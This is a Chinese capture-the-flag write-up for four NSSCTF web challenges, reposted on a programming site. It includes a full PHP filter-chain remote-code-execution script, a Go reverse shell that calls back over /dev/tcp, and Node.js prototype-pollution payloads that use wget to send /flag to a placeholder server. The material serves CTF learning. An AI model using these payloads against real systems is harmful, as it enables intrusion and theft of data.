我的编程空间,编程开发者的网络收藏夹
学习永远不晚

NSSCTF Round#8 Basic

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

NSSCTF Round#8 Basic

from:http://v2ish1yan.top

MyDoor

使用php伪协议读取index.php的代码

php://filter/read=convert.base64-encode/resource=index.php
error_reporting(0);if (isset($_GET['N_S.S'])) {    eval($_GET['N_S.S']);}if(!isset($_GET['file'])) {    header('Location:/index.php?file=');} else {    $file = $_GET['file'];    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {        include $file;    } else {        die('error.');    }}

发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S

所以使用N[S.S来使后端得到的参数为N_S.S(具体原因自己去搜吧)

我原本以为flag在主机里,找了半天结果在phpinfo …

?N[S.S=phpinfo();

image-20230211160450357

MyPage

感觉部分源码和MyDoor是一样的,只是我尝试用伪协议读取index.php的时候没回显,所以猜测应该就是用了include来读取文件

看到include,我就想起了zedd的一篇文章

文章:

直接使用exp,来执行命令,得到flag

import requestsurl = "http://43.143.7.127:28742/index.php?file="file_to_use = "/etc/passwd"command = "cat flag.php"#base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',    'C': 'convert.iconv.UTF8.CSISO2022KR',    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'}# generate some garbage base64filters = "convert.iconv.UTF8.CSISO2022KR|"filters += "convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the filefilters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:        filters += conversions[c] + "|"        # decode and reencode to get rid of everything that isn't valid base64        filters += "convert.base64-decode|"        filters += "convert.base64-encode|"        # get rid of equal signs        filters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={    "0": command,    "action": "include",    "file": final_payload})print(r.text)

image-20230211161110547

Upload_gogoggo

一个没有过滤的文件上传,且在上传后会执行go加上文件名.之前的字符串的命令,并且是对你上传的文件进行执行的,(猜的)

eg:

上传文件名为run.go,那么就会执行go run run.go,这样会执行go里的代码

所以上传一个反弹shell的go文件

package mainimport ("fmt""log""os/exec")func main() {cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/ip 0>&1")out, err := cmd.CombinedOutput()if err != nil {fmt.Printf("combined out:\n%s\n", string(out))log.Fatalf("cmd.Run() failed with %s\n", err)}fmt.Printf("combined out:\n%s\n", string(out))}

然后文件名为run.go,上传就可以得到shell

谢队把flag藏到/home了,挨打!

image-20230211162702683

ez_node

源码

const express = require("express");const path = require("path");const fs = require("fs");const multer = require("multer");const PORT = process.env.port || 3000const app = express();global = "global"app.listen(PORT, () => {    console.log(`listen at ${PORT}`);});function merge(target, source) {    for (let key in source) {        if (key in source && key in target) {            merge(target[key], source[key])        } else {            target[key] = source[key]        }    }}let objMulter = multer({ dest: "./upload" });app.use(objMulter.any());app.use(express.static("./public"));app.post("/upload", (req, res) => {    try{        let oldName = req.files[0].path;        let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;        fs.renameSync(oldName, newName);        res.send({            err: 0,            url:            "./upload/" +            req.files[0].filename +            path.parse(req.files[0].originalname).ext        });    }    catch(error){        res.send(require('./err.js').getRandomErr())    }});app.post('/pollution', require('body-parser').json(), (req, res) => {    let data = {};    try{        merge(data, req.body);        res.send('Register successfully!tql')        require('./err.js').getRandomErr()    }    catch(error){        res.send(require('./err.js').getRandomErr())    }})

只有一个merge函数里可以进行原型链污染,而且从很多方面都可以看出来这个是原型链污染

具体污染的地方是https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js

可以污染他来加载任意包从而执行任意命令

根据出题人的本意是让我们上传一个包,然后去加载那个包,但是我是直接用的别人的exp,而且题目环境也包含exp里需要的文件,所以直接打就行

给/pollution路由传数据

{"__proto__": {"data": {"name": "./err.js","exports": "./preinstall.js"},"path": "/opt/yarn-v1.22.19","npm_config_global": 1,"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://vpsip:vpsport/`cat /flag`'])"},"a": null}

然后就可以得到flag

image-20230211163541731

至于这个exp是在哪找到的,就是题目给了hint:ez_node: https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js

在github上直接搜就可以找到 :>

更加精细的文章可以看


补充

在看了Node.js require() RCE复现这篇文章以及本地调试后,大概知道是啥原理了

主要是在https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js里的

const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}

进入readPackageScope()

function readPackageScope(checkPath) {  const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);  let separatorIndex;  do {    separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);    checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);    if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))      return false;    const pjson = readPackage(checkPath + sep);    if (pjson) return {      data: pjson,      path: checkPath,    };  } while (separatorIndex > rootSeparatorIndex);  return false;}

在进入readPackage()

function readPackage(requestPath) {  const jsonPath = path.resolve(requestPath, 'package.json');  const existing = packageJsonCache.get(jsonPath);  if (existing !== undefined) return existing;  const result = packageJsonReader.read(jsonPath);  const json = result.containsKeys === false ? '{}' : result.string;  if (json === undefined) {    packageJsonCache.set(jsonPath, false);    return false;  }  try {    const parsed = JSONParse(json);    const filtered = {      name: parsed.name,      main: parsed.main,      exports: parsed.exports,      imports: parsed.imports,      type: parsed.type    };    packageJsonCache.set(jsonPath, filtered);    return filtered;  } catch (e) {    e.path = jsonPath;    e.message = 'Error parsing ' + jsonPath + ': ' + e.message;    throw e;  }}

他会对当前require请求文件所在的目录中区找package.json文件并进行json解析,如果没有就返回fasle

所以

const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}对pkg赋值的肯定是后面的{}的值

而这里就可以对pkg和pkgPath的值进行污染

总结来说,在require非原生库的过程中,最终会去调用PkgPathpkg.exports拼接起来的字符串所指定的文件

所以payload

{"__proto__": {"data": {"name": "./err.js","exports": "./<需要调用文件的文件名>"},"path": "<需要调用的文件的路径>",}

如果要使用题目中提供的文件上传功能的话,就是这样做的

众所周知,require得到的是module.exports的内容,所以先上传一个js文件

好像是没有curl这个命令,所以这里要用wget进行oob

obj={    getRandomErr:() => {        require('child_process'.execSync('wget http://vpsport:vpsport/`cat /flag`')    }}module.exports=obj

得到上传后的文件名

payload

{"__proto__": {"data": {"name": "./err.js","exports": "./cc3ddcac43eb509d0d8df23e0a6fc124.js"},"path": "/app/upload"}}

给/pollution路由传数据,然后就可以在vps上得到flag

image-20230212171612402

来源地址:https://blog.csdn.net/weixin_52585514/article/details/128985443

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

NSSCTF Round#8 Basic

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录